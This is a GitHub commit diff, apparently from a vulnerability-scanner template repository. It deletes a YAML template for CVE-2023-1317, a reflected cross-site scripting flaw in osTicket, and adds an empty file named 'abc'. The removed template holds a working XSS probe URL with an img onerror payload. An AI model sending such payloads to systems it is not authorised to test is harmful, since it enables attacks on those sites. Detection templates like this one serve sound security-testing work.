Update and rename to abc

patch-10
ctflearner 2024-08-15 16:55:39 +05:30 committed by GitHub
parent 7461ace8de
commit 7bb544c037
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 1 additions and 35 deletions

View File

@ -1,35 +0,0 @@
id: CVE-2023-1317
info:
name: osTicket < v1.17.2-9-g61263635 - Cross-site Scripting (XSS) - Reflected
author: ctflearner
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository osticket/osticket prior to v1.16.6.
reference:
- https://huntr.com/bounties/c3e27af2-358b-490b-9baf-e451663e4e5f
- https://nvd.nist.gov/vuln/detail/CVE-2023-1317
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2023-1317
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
product: osTicket
tags: cve2023,cve,huntr,osTicket,reflectedxss,xss
http:
- method: GET
path:
- "{{BaseURL}}/osTicket/scp/ajax.php/orgs/search?q=osTicket%3Cimg%20src%3da%20onerror%3dalert(1337)%3E"
matchers:
- type: word
part: body
words:
- "alert(1337)"

1
http/cves/2023/abc Normal file
View File

@ -0,0 +1 @@